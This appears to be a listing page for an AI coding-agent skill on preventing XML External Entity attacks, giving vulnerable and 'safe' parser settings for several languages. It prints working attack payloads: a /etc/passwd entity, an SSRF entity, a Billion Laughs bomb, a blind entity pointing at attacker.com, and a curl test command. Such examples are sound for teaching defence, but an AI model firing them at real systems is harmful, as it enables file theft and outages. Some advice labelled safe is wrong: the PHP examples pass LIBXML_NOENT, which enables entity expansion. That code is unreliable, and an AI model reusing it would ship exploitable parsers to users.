skills/security/owasp-guardian/xxe-prevention/SKILL.md
OWASP A04 - XML External Entity (XXE) Prevention. Use this skill when parsing XML, processing SOAP requests, handling SVG uploads, or working with XML-based formats. Activate when: XML parsing, SOAP, SVG upload, XML input, DOCTYPE, DTD, external entity, XML bomb, billion laughs, XSLT.
npx skillsauth add latestaiagents/agent-skills xxe-preventionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Prevent XML External Entity attacks by safely configuring XML parsers and validating XML input.
| Attack | Impact | Description | |--------|--------|-------------| | File Disclosure | HIGH | Read local files (/etc/passwd) | | SSRF | HIGH | Access internal services | | DoS (Billion Laughs) | HIGH | Memory exhaustion | | Port Scanning | MEDIUM | Probe internal network | | Remote Code Execution | CRITICAL | In rare configurations |
// VULNERABLE - Default XML parser settings
const xml2js = require('xml2js');
const parser = new xml2js.Parser();
parser.parseString(userXml, callback);
// VULNERABLE - libxmljs with default options
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(userXml);
# VULNERABLE - etree with default settings
from xml.etree import ElementTree
tree = ElementTree.parse(user_xml_file)
# VULNERABLE - lxml without disabling entities
from lxml import etree
doc = etree.parse(user_xml_file)
// VULNERABLE - Default DocumentBuilder
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userXmlInput);
// VULNERABLE - Default SAX parser
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(userXmlInput, handler);
// VULNERABLE - simplexml_load_string with default
$xml = simplexml_load_string($userXml);
// VULNERABLE - DOMDocument with default
$doc = new DOMDocument();
$doc->loadXML($userXml);
<!-- File disclosure -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
<!-- SSRF - Access internal service -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<data>&xxe;</data>
<!-- Billion Laughs (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
<!-- Blind XXE with out-of-band data exfiltration -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<data>test</data>
// SAFE - xml2js with explicit options
const xml2js = require('xml2js');
const parser = new xml2js.Parser({
// These are defaults in modern versions, but explicit is better
explicitRoot: true,
explicitArray: false
});
// SAFE - Use fast-xml-parser (secure by default)
const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({
ignoreAttributes: false,
// External entities disabled by default
});
const result = parser.parse(xmlString);
// SAFE - libxmljs with disabled entities
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(userXml, {
noent: false, // Don't expand entities
nonet: true, // Don't allow network access
noblanks: true,
nocdata: true
});
# SAFE - defusedxml (recommended)
import defusedxml.ElementTree as ET
tree = ET.parse(user_xml_file)
# SAFE - lxml with security settings
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)
doc = etree.parse(user_xml_file, parser)
# SAFE - Standard library with defused
from xml.etree.ElementTree import XMLParser
import defusedxml
defusedxml.defuse_stdlib() # Patches standard library
// SAFE - DocumentBuilder with security features
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Disable DTDs entirely
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Or disable external entities and DTDs
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userXmlInput);
// SAFE - SAX Parser
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
// SAFE - Disable entity loading
libxml_disable_entity_loader(true); // Deprecated in PHP 8.0+
// SAFE - For PHP 8.0+, use LIBXML options
$doc = new DOMDocument();
$doc->loadXML($userXml, LIBXML_NOENT | LIBXML_NONET);
// SAFE - simplexml with options
$xml = simplexml_load_string($userXml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_NONET);
// SAFE - XmlReader with secure settings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
using (XmlReader reader = XmlReader.Create(stream, settings))
{
// Parse XML safely
}
// SAFE - XmlDocument with security
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;
doc.LoadXml(userXml);
SVG files are XML and can contain XXE attacks:
// SAFE - Sanitize SVG uploads
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
function sanitizeSVG(svgContent) {
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
return DOMPurify.sanitize(svgContent, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['use'],
ADD_ATTR: ['xlink:href']
});
}
// SAFE - Or convert to raster format
const sharp = require('sharp');
async function convertSVGtoPNG(svgBuffer) {
return sharp(svgBuffer)
.png()
.toBuffer();
}
DOCX, XLSX, PPTX are ZIP files containing XML:
const AdmZip = require('adm-zip');
const { XMLParser } = require('fast-xml-parser');
async function safeParseOfficeDoc(filePath) {
const zip = new AdmZip(filePath);
const entries = zip.getEntries();
const parser = new XMLParser({
// Secure settings
});
for (const entry of entries) {
if (entry.entryName.endsWith('.xml')) {
const content = entry.getData().toString('utf8');
// Check for DOCTYPE declarations
if (content.includes('<!DOCTYPE') || content.includes('<!ENTITY')) {
throw new Error('Potentially malicious XML content detected');
}
const parsed = parser.parse(content);
// Process safely...
}
}
}
# Test with XXE payload
curl -X POST http://target/api/xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>'
# Test for blind XXE
# 1. Set up listener: nc -l 8080
# 2. Send payload pointing to your server
# Automated testing
# Use Burp Suite's XXE scanner
# Or OWASP ZAP's active scanner
development
Test skills for correct activation, content quality, and regression — both automated checks (frontmatter validity, lint) and manual verification (query-suite activation testing). Covers CI integration and how to catch skill regressions before users do. Use this skill when adding skills to a repo, setting up CI for a skill library, or debugging "the skill exists but doesn't work". Activate when: test skills, validate skills, skill CI, skill linting, skill activation test, skill regression.
documentation
Write the YAML frontmatter for a SKILL.md file so it activates reliably — name, description, and activation keywords that the model matches against. Covers length, tone, and the most common frontmatter mistakes. Use this skill when authoring a new skill, fixing a skill that isn't auto-activating, or reviewing skills for publication. Activate when: SKILL.md frontmatter, skill description, skill activation, skill YAML, write a skill, author a skill.
development
Design skills that fire at the right moment — neither over-eager (noise) nor under-eager (silent). Covers activation specificity, trigger phrases, disambiguation between overlapping skills, and debugging activation. Use this skill when multiple skills could fire on the same query, a skill never fires, or a skill fires too often. Activate when: skill won't activate, skill over-activates, overlapping skills, skill triggers, skill selection, skill disambiguation.
development
Structure SKILL.md content so the model reads just enough — concise summary up front, progressively deeper detail, examples on demand. Covers section ordering, length budgets, when to split into multiple skills. Use this skill when writing or refactoring a skill body, one skill has grown too long, or a skill is wordy but not useful. Activate when: SKILL.md structure, skill content, skill too long, split skill, progressive disclosure, skill body.